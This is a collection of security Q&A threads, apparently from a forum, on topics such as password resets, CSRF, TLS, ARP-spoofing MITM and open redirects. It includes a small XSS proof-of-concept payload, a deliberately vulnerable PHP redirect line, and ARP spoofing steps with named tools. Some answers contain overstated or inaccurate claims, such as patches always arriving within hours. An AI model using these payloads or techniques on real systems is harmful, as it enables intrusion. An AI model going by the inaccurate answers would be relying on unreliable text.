While registering we provide some security questions( not traditional questions of birth date, mother's maiden name etc.) such as select 1 out of 4 colours. Select 1 out of 5 food etc. While reset password we provide them these questions to answer as hacker wont be knowing these all. (Problem - If I register now and I forget pin after 1 year, I wont be remembering these answers, only case in which I remember these answers is if I took a screenshot of those answer while registering it which is again a concern in stolen phone)
Backup code - We provide backup code unlike google while registering and user will have to add those in order to reset password. (Problem - Most of the cases, user takes screenshot of backup codes or stores in notes application which is again a concern in stolen phone)

Apart from these, We need other suggestions through which we can implement some solid solution and still user experience tries to remain smooth.

We completely agree that security and user complexity are inversely propositional. If we want to implement bulletproof security, user experience will go bad. However I want answers from the community if there is a way we can do it.

Suggestions are appreciated.

My suggestion is to pass the buck to the big guys: throw out your custom implementation and use something like OAuth to have your users sign in with google or facebook -- just like StackExchange!

If you must keep things the same: why do you assume password resets are always due to hackers? Have you measured why password resets occur? I'd bet most of them are due to users simply forgetting their passwords (i.e. I think you're starting with bad assumptions and you're going to degrade the experience for the majority of users while only protecting a small percentage of users).


Asymmetric or symmetric - which makes sense in this scenario? I am creating a system in which there will be oe client and one server.

The client is periodically (every 5 or 10 secs) going to send a small amount of data to the server (with UDP).

I am able to securely place keys/passphrases on both the client and the server without anyone or anything else knowing what these keys/passphrases are. I will always have access to the server and if I lose access to the client, I can change the keys/passphrases easily enough on the server.

My security concerns are twofold:

I don't want anything other than my client to be able to submit things to the server.
I don't want the data that is in transit from my client to the server to be plaintext.

Am I able to get away with using symmetric encryption on the client and embedding some kind of identifiable and unique token in the payload that the server (when it has decrypted) can use to verify that the client is who it says it is? Or is an asymmetric (DTLS?) public/private key pair solution required? Or will neither of these do what I want?

What you called "concerns" in your question is what in the world of information security is usually referred to as "protection goals". In your case, you are looking for confidentiality (no man in the middle should be able to read the data exchanged) and authenticity (only known-good entities should be able to submit data).

Note that authenticity is usually defined to mean that a message or piece of data actually originates from the source it claims to originate from - and this is exactly the crux of your question. If you know that there will only ever be one client, distributing symmetric keys will be enough to guarantee both the confidentiality and the authenticity of your data (assuming the keys do not leak).

If, however, there are (or might be in the future) multiple clients (or servers, for that matter), you would need to either

Distribute different symmetric keys for each client-server relationship, or
Use the same symmetric key and use some other means to ensure the authenticity of the data exchanged (i.e., to make sure clients cannot send data claiming to be another client)

Therefore, using asymmetric encryption with a PKI issuing certificates to each participant in the scheme might be the more future-proof solution. This would allow you to properly sign messages with each client's private key to ensure authenticity.

Please note that either way, you are probably looking for more than just authenticity and confidentiality (integrity comes to mind - you probably do not want a potential man in the middle to be able to modify data exchanged between the clients and the server). Therefore, make sure to use a properly vetted, high-level crypto API implementing established algorithms and protocols for all your cryptographic operations.

(There are a lot of pitfalls in crypto. For example, in many cases, it is trivial for a man in the middle to capture a properly constructed message and replay it at a later point. Thinking of such attacks and defending against them by combining cryptographic primitives yourself is probably not a good idea).


Is there any Online Certification that is worthy enough to get a Job as a Security Professional? I am highly interested in Network and Information Security and already a good understanding of Linux. I am also good at WiFi Penetration Testing and practice a lot of that.

I am wondering that is there a certification that is offered online and has a global reputation so that I don't have to go for exams(that can also be online)?

I am already aware of Cybrary.it, OffensiveSecurity but they don't issue a globally recognized certificate.
Thanks so much

I would recommend taking a look at GIAC, CompTia and ISC2 certifications. If you are new to security (i.e. don't have 10+ years of experience in it) then starting with the CompTiA Security+ and moving to CEH will provide the credibility to your name.

Currently, the majority of the Information Security job postings require a mixture of certifications, experience and knowledge. If you don't have experience then you would need to compensate with certifications covering the area you are interested in and a lot of knowledge in that area. Side projects help greatly too.


How to fix open redirect vulnerability? In redir.php:

header("Location: {$_GET['addr']}");

For fixing open redirect vulnerability i can think of several ways:

1- (Side effect of) Using a security token (anti-csrf token):

if(!isset($_SESSION['anticsrf_token'], $_GET['anticsrf_token']) or $_SESSION['anticsrf_token']!==$_GET['anticsrf_token']) exit('...');

This should work because an attacker cannot know and cannot create a valid anti-csrf token.

2- Comparing the domain of the 'redirect to address' with that of the script (redir.php) itself ($_SERVER['HTTP_HOST']).

3- The 'redirect to address' first can be stored by the referring script (the script that contains the link to redir.php) in the $_SESSION and then redir.php acts only on that session var:

header("Location: {$_SESSION['redir2addr']}");

A cookie can be used instead of session too.

I can think of some other ways too, but seems one of these is sufficient for my own app. I will appreciate any ideas and gotcha u know or can think of.

I would go with the second approach (HTTP_HOST is user controlled, but it doesn't matter in this case). It's the easiest to use, and it's pretty much impossible to mess up.

The first and third approach are harder to use from the calling code (not a security issue, but still bad), and they can also be wrongly used by the calling code (the third one a lot easier than the first one):

if (something the attacker can trigger with GET params) {
    $_SESSION['redir2addr'] = $_GET['addr'];
    include("redir.php");
}

and (you never know whose going to extent your code...):

if (something the attacker can trigger with GET params) {
    $_SESSION['anticsrf_token'] = 'something';
    $_GET['anticsrf_token'] = 'something';
    include("redir.php");
}


How to restrict access to the internet for some computers on the network? I’d like to differentiate machines (or, possibly, users) on my small business network so that only some of them have access to the internet. The solution I’ve been using to this day is quite terrible: clients which should have access to the internet are given a specific IP address based on their MAC address or identifier.

In turn, the firewall has different setting for those predefined IP addresses.

This is poor both in matters of security and usability: changing the IP of a client is even easier than spoofing a MAC address. Moreover, adding a new machine is added to the network implies adding an entry on the DNS server and modifying the firewall settings.

What would be the proper way to restrict access to the internet by clients (or, possibly, users)?

Some details about the environment:

it’s for a small business network which doubles as a home network;
there are about 15 users + guests;
there are about 23 clients on the network + 10 mobile clients;
some clients need access to the LAN only, some others (mostly phones) need access to the WAN only, other (access points) to both;
2 main NASes, 1 backup NAS and a few home NAS for clients backup;
a Cisco 1921 router with an outdated, no IPsec IOS;
a Netgear FS 526T switch;
2 Wireless Access Points, of which the model escape me right now; I believe they’re part Cisco Small Business range;
the utter lack of business lately means that investments above a few hundreds euros are probably unreasonable.

you need to start using VLANs and turn off inter vlan routing.

using VLANs you will be able to create multiple LANs within a single network but all of them be independant, all traffic from your router at the moment is most likely tagged as VLAN 1 (even though you do not know it).

you can also use VPN traffic, create VPN access on the network and anyone with the VPN credentials can get through the firewall.

Anything using MacAddress or IP address is pointless, you might as well do nothing.

I would need more details but you can have to WIFI access points in your office, one on a vlan 20 for example... all vlan 20 traffic will be locked down by the fire wall.

There are so many possibilities but VLANs AND/OR VPNs are your best bet.

Trust me I am a network engineer! (so much information I struggle to type ask me more specific questions for more specific answers)


Account verification emails with links vs codes I need to send verification emails for things like

email verification
password reset
email change
password change

In the past most webapps would send an email with a clickable verification  link that I'd click to go back to the site and complete the process.

These days I see many webapps instead send an email with a verification code that I must copy-paste into the browser, and sometimes it's a short random number that is easy to type manually (e.g. because I'm working on my desktop but I read the email on my phone).

What are the pros/cons to these two approaches?

I feel the "new" way is more UX than security, but I'm unsure. Which is more secure, and what tradeoffs should I consider?

The overall goal is to verify that a user can be reached through the email address.

This is done by creating a token, and any way of delivering that token back to your server will do, whether it is having the user click a link or copy/paste (or retype) a code.

Since your list includes password resets and email resets as reasons why you might send a token, keep in mind that these have additional concerns beyond simply verifying that an email will reach the user.  Attackers may try to guess the tokens.

Longer tokens may be more difficult for an attacker to guess, but users may be less willing to type them.

On the other hand, usability always plays a role in security. The best security isn't the strictest; it's the security that people will use, and especially that they won't seek workarounds for.

People who are security conscious are increasingly less willing to follow links in emails. People who are habituated to following links in emails are also more likely to follow phishing links in malicious emails.

In addition, users may not have access to their mailbox with the computer that they're using, or may not be using the same web browser that their email client opens by default. I.e., the default email clients on mobile devices may open the default browser that comes with the phone/table, rather than a browser that the user installed later and uses regularly.

Thus, for a simple email verification, or for a second factor during login, short codes that a user types are good enough, so long as they're generated using a cryptographically secure pseudorandom number generator (CSPRNG) seeded by a high entropy source, such as /dev/urandom or a similar system on your platform.  You can also include a link that will have that code, in case this is easier to use by the user, rather than copying and pasting the code.  The key here is that, for something that is common (i.e., daily), make it as easy as possible for the user to increase their security.

If the user is trying to change something about their account's security, though, such as changing their password, changing their contact information (email address), or changing any part of their 2nd factors (also in your case, email address), you should make the token longer, to the point where it doesn't make sense to have users type it in.  Still use your high entropy source to seed your CSPRNG, of course.

In all cases, these tokens should have a very limited life, up to a few hours. Make them single-use only (so that a user can tell that someone used their token first or, if the eavesdropper is slow, the eavesdropper can't reuse that token), and make the token usable only by that one account. (There are stories of people generating password reset tokens for themselves, then changing the user ID to someone else's, gaining access to their account that way.)  All login and password reset attempts should be throttled both by IP and by account, and failed attempts should be logged.


How to simulate environment for testing whether SSL pinning is working fine in an Android application? I am using this Cordova plugin to implement SSL pinning in an Android application.

I don't know how to simulate the environment for testing if it's working fine.

The infosec team in my firm is telling me that if the connection is proxied (no other attacking thing), then the application will be getting another certificate from the proxy server and the app should alert about this.

But the above plugin tells me that the connection is secure even on proxied connections.

The infosec team probably meant using an intercepting proxy such as ZAP or Burp. A normal proxy passes the SSL connection through, using the original certificate. With an intercepting proxy your browser sets up a connection to the proxy, which has a different certificate.


Can I listen to a remote IP's traffic using Wireshark? (Man in the Middle) How can I listen to a remote IP's traffic using Wireshark? (Man in the Middle)

If by remote you mean "on my local LAN but not me" then the answer is possibly;  If by remote you mean "on a remote LAN" then the answer is "No, not with Wireshark."  You'd be looking for something like a network probe with RMON capabilities.

You could use a Span or Mirrored port as Lucas points out or you could force the switch to begin forwarding packets to you in a variety of ways.

Before I continue with more of an answer for possibility #1 let me clearly state that what I am suggesting should be done only with permission and initially in a test environment.  Failure to do so could be illegal, possibly get you fired and maybe even bring systems down.

One method is to begin to send unsolicited arps advertising that the machine whose traffic you wish to sniff is actually located at your MAC address.  Before launching a test of this type, though, you would need to verify that you have enabled forwarding on your system and then actively forward those packets to the original MAC address.  This can be achieved by creating a static ARP entry in your local ARP table for the host that you are sniffing.  If you fail to do this then your system will "eat" the packets and the host you are sniffing will be unable to receive packets.

A second method is to simply generate very large numbers of unsolicited ARP responses, seeking to override the CAM table in the switch.  These typically max out at about 4096 addresses.  Depending on the device the switch will now begin to broadcast all traffic to all ports.

A tool such as Yersinia or Ettercap can be used to effect both of these strategies.


What will disabling third party cookies block? What is the difference between 1st party cookies and 3rd party cookies and what are the pros and cons of disabling it?

Will facebook and google (and other ad companies) be completely unable to track you when they're not in their site? What about if you are on a site that requires a facebook or gmail login? Will these sites require 3rd party cookies to be turned on?

Disabling 3rd party cookies is largely a privacy measure.

Cookies are restricted with a Same Origin Policy (SOP), which essentially mandates that a site on domain A can't set a cookie for domain B, and your browser shouldn't send cookies for domain A when visiting domain B. This is largely for security reasons: you don't want sites being able to read session cookies from other domains!

Advertisers and analytics companies have, of course, found ways around this. Instead of setting a cookie for their domain, they include a small resource (usually called a "pixel" tracker) on the page, from a 3rd party domain. The HTTP response from the 3rd party domain is free to set cookies for its own domain, so it generates a unique ID for your visit and sends it as a cookie. You then visit another site, which also uses that same tracker pixel. The same 3rd party domain can read back that cookie because it's part of the same origin, and therefore track that you came from one site to another.

Blocking third party cookies stops this behaviour. It prevents the 3rd party resource from setting a cookie because it was fetched in the context of a different domain, i.e. the page you're viewing. The implementation essentially modifies the cookie SOP to limit the cookie origin to the domain of the page you're viewing.

Keep in mind that this isn't infallible, though. One work-around that is commonly used is to generate a unique resource (e.g. a dynamically generated CSS file with a unique ID inside it) and serve it with cache-control headers set to ensure caching. Modern browsers hash the contents of the cached resource and send that hash as part of a HEAD request to sites to see if they've changed and need to be re-downloaded. The tracking server then takes that hash and looks it up against its database of unique IDs, and works out which one you were. Evil, no?


Using PGP to answer account security questions with PKI Security questions are well known/widely considered to decrease security or otherwise create more problems (e.g., remembering gibberish), but sometimes I am required to have and answer them anyway.  While that has been discussed many times before so I won't rehash the debate here, I'm a fan of passwords that are both secure and can be easily (re)generated so what I would like to do is to answer security questions with a portion of my pgp signature for the questions themselves.  However, this leaves me with two issues I'm not confident about:

if there is anything I'm missing that may actually make this less secure or less reproducible (different gpg versions or default algorithms, etc?) than I might think it to be, and
where to extract the portion of the signature from, considering anything like the pgp header and the fact that the full signature is too long to realistically use.

Currently, if I use echo -n 'What is the air speed velocity of an unladen swallow?' | gpg -s --clearsign, I get:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

What is the air speed velocity of an unladen swallow?
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJaUnsoAAoJEAsnyIE5nAz6NLQP/2Yb33we/32eyWhHoCcYpzQI
0Si5AD+BJCrpcKgAehKdkx/eaHPKfTX55cxT23qk14XiLwnDqSsK/oPazuUwUIoP
brWkgqXj2G2YhQkBKe/WaEafbi3J7kmeddrmpaFrAkKkYYdFcC8zXtH9YcpM5OB2
kMava8oO0K6exoY4r2Fa9mIiOHrFZXkbtY9NuOvxhhOLmAeQolJ7WBdc+mt/Pmwv
0YIWlJhLgxxqqtXTlHXNNbatqkClAE1DB48FyyP3Mi8P8Ny+3z6ntDtwZezF+Lc4
67hWsUzjZ24E4Ww0CLquFTomNscuTFJRnAKJE02ctDixuz17zZxaliQBXdTrA43k
OUr+d9P2OdJXNPA0H9GQV9T+6CrHXM3dRXzrpSTrXzg7ZM8EWDB2b9iPp5b60KmE
/IwG0ijWH3B90gXJeGW2KeUm8qhH6AYBeXG+Yv2+9tB6T7KYETMku+FKgh61O6MJ
hYnQ7YMRhf8WjZw6m+jZ3knn0tIYqwszlJ7nJ0qlYlMsY9YzJkvKTpGQLHxQqDJv
ZraIbgPJuPJ1uT+qbbWk+QgOpehAyAFC/3aI57eqI/3poKl2/2f3QMsw7yRPnN/s
HeIvXhEVBqcOb7pfI3i6pT9f01QG5u16/vAKf6pq9WOuVTCeH5CP0t0xZ3eF+kJ+
m4C4rL/Q+uSexZL9IQ07
=jh/a
-----END PGP SIGNATURE-----

What I would like to do is take maybe a 16 character long snippet of the signature to use as my answer that would be in a consistent, easily found location so that I can reliably reproduce my answers to all future security questions, but where should that be?  At least the first 18 characters seem to be the same regardless of input, but that alone is not enough to convince me to just discard the first 18 and use the next 16.

Can anyone address the above two concerns?

UPDATE

This question was originally hinged more on PGP being perceived as the potential solution to my problem, which was shown to not be suitable for the reproducibility requirement.  However, I still like the idea of treating security questions similar to challenge-response authentication with the security benefits typically gained through PKI approaches (e.g., verifiability, non-repudiation, etc).  In absence of such a solution, HMAC may be a viable alternative, but it reduces itself to being more of just another password (something I know) instead of a publicly verifiable response based upon something tied to my identity like a key (something I have).  While this isn't quite an MFA question, I would like to know if there are any other possible approaches that could get me closer to what I had imagined?

The format of a PGP signature is a base-64 encoded message containing a number of fields, many of which are fixed or predictable.  (e.g., key identifiers, algorithms in use, length fields, etc.)  Additionally, the signatures contain timestamps, so if you regenerate a signature, you are not guaranteed to get the same values.  PGP signatures are not deterministic, so are not a good fit for your use case.

If you want to do something like this, I would use an HMAC with a single secret to generate the answer.  However, if you do just that, then two sites with the same security question get the same answer.  (No worse than your original proposal, nor the traditional security question implementation, just a note.)

You can do something like the following in python:

import hmac
print hmac.HMAC('secretkey', 'What is the air speed velocity of an unladen swallow?').hexdigest()

Which gives 0e348e81ee5460ef138f7ec3ac9431de as the result.  Without secretkey, an attacker could not reproduce this.  Obviously you could wrap this in a small script to make it easier to use.

OTOH, the common solution to this problem is to store the answers in an a password manager.  I used to use rather profane answers (more or less unrelated to the question) for security questions -- I stopped after the first time I called a bank and they wanted the answer I setup online told to them over the phone.


Why is there no spectre local root exploit in circulation? I heard that Spectre could be used to reveal arbitrary information from RAM and I imagine it should ultimately be possible to automate getting root this way. At the same time, quite a couple of months passed since this class of vulnerabilities was disclosed and I still hadn't seen any convincing exploit.

Normally I would assume that this is in order to keep script kiddies out, but given that we're likely to stick with broken processors for a few years, anybody who would publish such program would definitely get popular.

This leads me to the question: is it actually possible to get local root via spectre? If so, what could be the reasons why no exploit was published yet?

As mentioned by J.A.K - the exploit (Spectre) is a way of gaining read-only access to the memory. The reason there is no exploit for privilege escalation is that that isn't what is happening in Spectre. Both Spectre and Meltdown by nature are simply just information leaks.


How fix warnings from Debsecan I'm new in linux admin and security approach, and need some tips about warnings from Debsecan scanner tool.

I have some warnings returned by simple check, like this below:

CVE-2017-1000158 python2.7-minimal (remotely exploitable, high urgency)
CVE-2016-2779 libsmartcols1 (high urgency)
CVE-2017-12618 libaprutil1-ldap (low urgency)

With that reference for example CVE-2017-12618 libaprutil1-ldap I search and find that page: https://security-tracker.debian.org/tracker/CVE-2017-12618

And I was in doubt on how to use this information to fix the warning?

From the table have the status of version package and respective version OS.

Source Package    Release            Version            Status
apr-util (PTS)    wheezy             1.4.1-3            vulnerable
                  wheezy (security)  1.4.1-3+deb7u1     fixed
                  jessie             1.5.4-1            vulnerable
                  stretch            1.5.4-3            vulnerable
                  buster, sid        1.6.1-1            fixed

I'm using Debian(stretch) and I don't know how see the version package installed and how change from fix package? This is the way?

All known vulnerabilities in existing software almost certainly have patches and upgrades issued within hours of disclosure. The vulnerabilities can be fixed by updating to the newest versions available.

To update, issue these commands.

apt-get update && apt-get upgrade && apt-get dist-upgrade

This would automatically upgrade your softwares to the newest versions available.


Are hosted bare-metal servers more secure than VPS against unauthorized disclosure? Our small company needs to store sensitive data in the cloud. We are debating VPS's or rented bare-metal servers due to cost. Our threat model includes malicious sysadmins working at the hosting provider and this is what we are focusing on, not side-channel attacks from other customers on the VPS etc. Our policies require FDE using LUKS and we have tested unlocking the disks with both Linode and bare-metal servers using dropbear.
We know that neither solution is secure against a determined and well-resourced attacker. We know that FDE was not designed as a logical control to protect against unauthorized disclosure on a running system. However we need to assess the degree of increased risk when using a VPS.
Pro-bare-metal team argue malicious sysadmins can more easily access VM from host OS and therefor bare-metal protects against less capable sysadmins. This could enable them dump memory and access sensitive data. Or for example replace dropbear with malicious version on unencrypted boot partition.
The pro-VPS team argue that all of the above is equally possible with a dedicated server and since sysadmin has access to hardware its game over anyway.  They agree it would likely require malicious actor to have more skill/time with higher chance of being detected. e.g. they may have to reboot server to implant payload.
Both teams agree that probability of attack from capable malicious sysadmin is low and therefor the risk of unauthorized disclosure for the VPS is medium and dedicated is low. Due to the massive cost savings the business are keen to accept the risk and go with VPS.
I feel this could be missing whole classes of attack vectors and so I'd like to ask the community what we could be missing?

Our threat model includes malicious sysadmins working at the hosting provider and this is what we are focusing on ...
If this is truly your primary threat concern, then Virtual vs Physical is a false dichotomy. Nothing short of physically hosting and protecting it yourself is going to address that threat.
FDE protects dead, as in non-running, systems not running systems. Servers in particular need the ability to restart. This means either manual intervention or stored keys at the server. This requires a trusted admin, which is counter to your primary concern.
You mentioned cost as the driver to a hosted system. If cost is overiding trust, your best bet is to use what you believe to be the most trusted provider. Many companies and organizations already do this, but you have to make the decision as to which is more important.
You simply are not going to be able to have a secure untrusted provider.,


How do I make sure access token comes from authenticated user? My problem boils down to the use of Okta's access tokens to secure api endpoint.
I followed this okta guide to set up a react single-page application with their wiget.
When I log into the site I get a access token to use with my api.
I tried to access my api with the access token following this guide
On the api side Okta recommended to verify the access token. When I use their OktaJwtVerifier to verify the token I get faced with a question. How does this verifier know that I gave them the token from a authorized state and not from someone hijacking the token?
The verifier supposedly asserts that

Signature is valid
Access token is not expired
The aud claim matches any expected aud claim passed to verifyAccessToken().
The iss claim matches the issuer the verifier is constructed with.
Any custom claim assertions that you add are confirmed

But the validator does not know where the token came from.
I noticed that the access token gets saved into localStorage.
Does this not open up for a impersination attack on the access token? Suppose someone got access to the localStorage and used the access token on my api without authenticating. I tested if this would work and it did.
How can I prevent someone from stealing and using my access token without authenticating ???

As @multithr3at3d commented, if the attacker already has local access its game over. There isn't much you can do to protect against session hijacking if an attacker has compromised your user's device. You could try to check the IP of the client when it makes a request to ensure that it is the same IP from which the session was initiated. This isn't a good idea for several reasons. It wouldn't prevent an attacker that shares the same IP (i.e. connected on the same WiFi). It wouldn't really stop an attacker who has installed malware on the victim's computer, since they could proxy their requests through the victim's computer. And it would be a major inconvenience if someone's IP changes during a valid session.
The best you could do is expire sessions after some period of inactivity combined with requiring reauthentication before performing critical actions to reduce the window of attack for attackers who somehow stole the access token. Again, this wouldn't help much in the case of an attacker with local access, since they could simply steal the token again when the user logs back in, or better yet, keylog their login credentials.


Anti-CSRF scanner still alerts after adding _csrf token to login form I am working on a Spring MVC project. I applied CSRF Token to login form by enabling  and using   in Spring security. When I go to the login page, I can see that a CSRF Token generated automatically with name _csrf. But when I use ZAP to scan the project, I still get alerts about anti-CSRF Token like this:
Anti csrf attack failed

I also tried to remove or edit field _csrf token in form by using develop tool, then login by valid username/password. In that cases, my website always returned 405 error, so I think anti-csrf token worked correctly. Csrf tokens are generated with sessions, so it is impossible for copying csrf token from a session to other session.

I also added _csrf to Anti-CSRF Tokens  but it still doesn't work: (you can check image here - Anti-CSRF Tokens)

Do you know the reason why these alerts still exist? And how to fix this?

You don't provide quite enough info in your question to verify exactly what is the problem, but I'm reasonably confident that I can guess it anyhow:

Are you doing all of the following:

Generating a unique anti-CSRF token on every GET request to /login?
Tying that unique token to the GET-requesting client (usually with a cookie) such that the server will know what the expected token is for each login POST request?
Verifying that the _csrf token is present on login POST requests and rejecting requests without it?
Verifying that the value of the login POST request's _csrf parameter matches the anti-CSRF token generated for that client's login GET request?

A few guesses at what you might have done wrong:

You're using a static GUID as your anti-CSRF token, and returning it to every user that asks. (This is completely pointless; may as well have no token at all as have a static one.)
You're generating a unique token for each request, but have no way of tying it to a specific user-agent (browser, etc.). Even if you're still verifying that the token you get back is one that was issued recently, an attacker can potentially make a GET request to /login themselves and then CSRF somebody else using the token they received.
You're generating login forms with _csrf hidden tokens, but not requiring them on login POST requests.
You require a _csrf value on POST requests, and you could somehow figure out who that token was issued to, but you're nonetheless accepting tokens issued to other people/user agents. (See the attack scenario laid out two items up.)

Mind you, since the user is (of course) unauthenticated at login, it can be a little tricky to perform CSRF protection correctly on login forms. CSRF protection requires some way of distinguishing users. You don't need to know who they are, yet - that's the job of the login system itself - but you do need to know which anti-CSRF token to expect from them. One way to do this is to tie it to a cookie (sort of like a temporary session cookie), but you need to make sure the attacker can't simply plant their own cookie it its place (for example, by using HSTS so the attacker can never spoof being your server to the victim).


How to support Forward Secrecy in OpenSSL I build openssl-1.0.2l
I used in my https server

I tried to test my https server with ssllabs. The ssllabs returns the following warning:

The server does not support Forward Secrecy with the reference browsers

can I fix that in the build options of openssl ?

can I fix that in the build options of openssl ?

The problem is not your OpenSSL build but the configuration of your unknown server. In order to enable forward secrecy you need to enabled ECDHE and/or DH cipher suites in the server configuration.

For examples of recommended configurations see Security/Server Side TLS.


multiple call of gcry_md_write function May be it 's not a question for information security stack exchange and if it's true excuse me for my mistake.

I want to understand how this code works:

char *s = "1";
char *s_2 = "2";

unsigned char *x;

gcry_md_hd_t h;
gcry_md_open(&h, GCRY_MD_SHA256, GCRY_MD_FLAG_SECURE);

gcry_md_write(h, s, strlen(s));
gcry_md_write(h, s_2, strlen(s_2));
x = gcry_md_read(h, GCRY_MD_SHA256);

Well, i have two schemes and both of them don't work.

x = SHA256(SHA256("1") || SHA256("2")).

SHA256("1") = 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b;

SHA256("2") = d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35

SHA256(SHA256("1") || SHA256("2")) = 4295f72eeb1e3507b8461e240e3b8d18c1e7bd2f1122b11fc9ec40a65894031a

x = SHA256(SHA256("1") || "2")

x = a29972da68d930f3bd40fa9c150137c780cf55f4d7187335a9f4b9043736f02a

But the result x (output from program) is

6b51d431df5d7f141cbececcf79edf3dd861c3b4069f0b11661a3eefacbba918

How does this code work??

This code is simply doing:

SHA256("12") = 6b51d431df5d7f141cbececcf79edf3dd861c3b4069f0b11661a3eefacbba918

First of all, it is using libgcrypt, something you fail to mention, and whose documentation should point you in the right path.

  gcry_md_open(&h, GCRY_MD_SHA256, GCRY_MD_FLAG_SECURE);

Create a message digest context

  gcry_md_write(h, s, strlen(s));

Add "1" to the things you are hashing

  gcry_md_write(h, s_2, strlen(s_2));

Add "2" to the things you are hashing

  x = gcry_md_read(h, GCRY_MD_SHA256);

Obtain the hash output of what was provided, ie. "1" || "2" == "12"

Also note that those strlen() work there just because you are not hashing binary data, otherwise you would get the wrong result.


Why don't CAs use governemental electronic identification mechanisms? You may have heard of the european eIDAS and the approaches of the individual countries to electronical citizen authentication (eg Belgium, Estonia, Germany, Austria).

Now there's only a single CA (German page) that I'm aware of that uses at least the German system and this CA forms a closed ecosystem ie it's not default-trusted.

So my question:
Why don't CAs pick up these systems for authentication, after all it can save them the man-hours required for verification of scanned documents and gives a higher degree of confidence than these scans?

And please don't answer: "It's not covered by the CA/B Baseline requirements currently."

Because the eIDAS is not sufficient to comply with the requirements that the CA are trusted to validate, for the purpose of browser's TLS communication. It is important to understand that the job of a CA is to verify a set of assertions against a CPS (Certification Practice Statement). A CA can declare pretty much anything in their CPS, but it's ultimately the relying party that will verify whether a CPS is suitable for their use. For the purpose of HTTPS certificate, the relying party is the browser manufacturers, and browser manufacturers would only include CA products whose CPS are suitable for HTTPS communication.

The CA/B guideline specifies validation requirements for x509 certificates issued for the purpose of HTTPS communication. For HTTPS communication, the most central validation requirement is the domain control validation, which electronic ID does not help with at all.

In the level of OV, the CA are also required to verify the business/organization named in the certificate against a government business registry (or against some other qualified independent information source), electronic identity card only proves the identity of an individual, not an organization, so it doesn't help here either.

At the level of EV, the CA is also required to verify that the primary contact of the organization is authorized to act on behalf of the business to purchase the certificate. One of the step in EV requires verification of the identity of the representative, here electronic identity certainly helps with the verification of the representative's identity, but it doesn't help with verifying that the named representative are authorized by the organization. At EV level, there are so many other validation requirements that verification of the representative's identity is just one small point among many, such that the impact of the availability of electronic identity is fairly minor in the grand scheme of things.

Does this mean that the eIDAS is useless? Not quite. From what I understand, eIDAS provides a legal framework that asserts that digital signatures including signatures from x509 will be at least as legally binding as ink based signature. A law like that can provide legal framework that makes email and client certificates more broadly useful.


How to mitigate the risk of a continuous integration service security breach? We are using a Continuous Integration service to automatically run our product test suite. Every time we push code to our central Git repository production branch, the CI services is notified and fetches the code to run the test suite.

The CI service allows us to write a post build script which can automatically push the code to our Heroku production server when the tests pass.

However we fear that if an attacker breaks into the CI service, he can then push any code change he wants to our production server.

We plan to change this architecture to have the CI service ping a specific 'deploy' server of ours when the tests pass. This 'deploy' server would fetch the latest production branch code from our central Git repository and the push to our Heroku production server.

This way, if the CI service is compromised, an attacker could not push from the CI service any code he wants to our production server. He would have to break into our 'deploy' server.

The goal of this new architecture is to move the risk from the CI SaaS to a server of ours. The Heroku credentials necessary to deploy are no more hosted on the CI SaaS but on a server of ours.

Does it make sense? Or is there any other simpler alternative when using a CI service (apart of setting up and securing one's own CI server)?

It sounds like you are mostly moving the problem around.  The CI server used to have the credentials to push new installs to the Heroku server, now it's the deploy server.

So the big question from me is - what is the difference in security between the CI service and the deploy server?  Is one hosted externally?  Is there a reason you trust one more than the other.  It's the credentials that give access to the Heroku server that give the most risk.

In the NEW framework, I'd ask these questions:

What is the likelihood that code could be tampered with on the Git server?
Is there a possibility for an illegitimate "ping" to the deploy server to cause problems?  The race condition @roxOr mentions is one case.  There's also the thought that if a CI server is tampered with, it could be triggered to send a ping that induces your deployment server to put non-working code on the Heroku server.  Or... what is the level of authentication required on this ping?  Can it be sent from anywhere by anyone?  Then the attacker does not need to attack the CI server to trigger a bad deployment.
is there a chance that the deploy server can be hacked?  that is now your big asset - it can get your intellectual property (the code) and deploy whatever malware it likes.  So it needs the most stringent protection.
Is there a way for an outside agent to get the credentials used to access the Heroku and access it directly?  In which case it doesn't matter how you deploy code, the attacker can push code however he likes.
Is there a chance that networking can be tampered with - a very good hack would be to force the deploy server to be redirected from the legitmate git hub site to a source of the attacker's choosing.  Then when a legitimate ping is recieved from the CI server, the deployment server deploys attacker-made code instead of the tested code.

No system is ever "perfect", so the big question usually comes down to what kind of an attacker do you expect, and what do you think their motive might be.  Disgruntled employees, corporate espionage, random punks and cybercriminals looking to use your site as a malware host will each have their own goals and each one will have different capabilities.  It helps to ponder what you want to protect against before you update your architecture.


Bug bar in the Microsoft SDLC The Microsoft SDLC model decomposed the requirement phase into different practices, one of which is creating quality gates/ bug bar, where each identified bug should be classified into client or server bugs. Could you please explain to me what is the difference between client and server bugs?

In addition, Microsoft also emphasized that we must know whether the bug affects client-side code or server-side code, Could you also explain to me the difference between the client-side code and server-side code?

For example, in the instant messaging server and client, the Man-in-the-middle attack is classified as client or server bug, and it affects the client-side code and server-side code?

Client bugs are bugs residing in client side programs used to connect or interact with the server:

  Client:  Either software that runs locally on a single computer or
  software that accesses shared resources provided by a server over a
  network.

  Server:  Computer that is configured to run software that awaits and
  fulfills requests from client processes that run on other computers.

The difference between client and server side code depends on where the code is executed. So either in the client program or in the server.

Your example can cover both server and client-side bugs:

Server doesn't offer MiTM prevention through (for instance) SSL
Client doesn't verify the certificate prior to setting up an encrypted tunnel

It can even be a combination of both server and client side code.


XSS Vectors that work with no closing brackets? I found a reflected XSS vulnerability that parses HTML code, but if you put a closing bracket the filter deletes it.

Is there any code for a proof of concept that I can run without any closing brackets (>)?

Thanks

That depends on the rest of the page. If it contains a closing bracket, you can likely use that to close whatever tag you have opened.

An example would be:

<img src=no onerror=alert(1) foo=       // the input

example
                      // the rest of the page

Which would be executed by at least Chrome and Firefox.


What justification is there for Comcast to block SMTP port 25 outbound from residential service? Within the last week, Comcast seems to have started blocking port 25 outbound from their residential internet service.

I can sort of understand why they might justify blocking it inbound as perhaps it is not within their terms of service to allow running a "server" on a residential service.  I say sort of because I really don't agree with this, but whatever.

I run my own SMTP server on a hosted VPS for our business.  Have done so for years.  All of a sudden all of our SMTP connections from our home Comcast internet service started failing.  I reconfigured the server to run SMTP on an alternate port and changed our client software at home to match and all is working again.

I suspect this is an anti-competitive measure in some respect and not merited on a technical or security basis.  I imagine it would be quite a problem for someone who relied on a third party SMTP service on port 25.

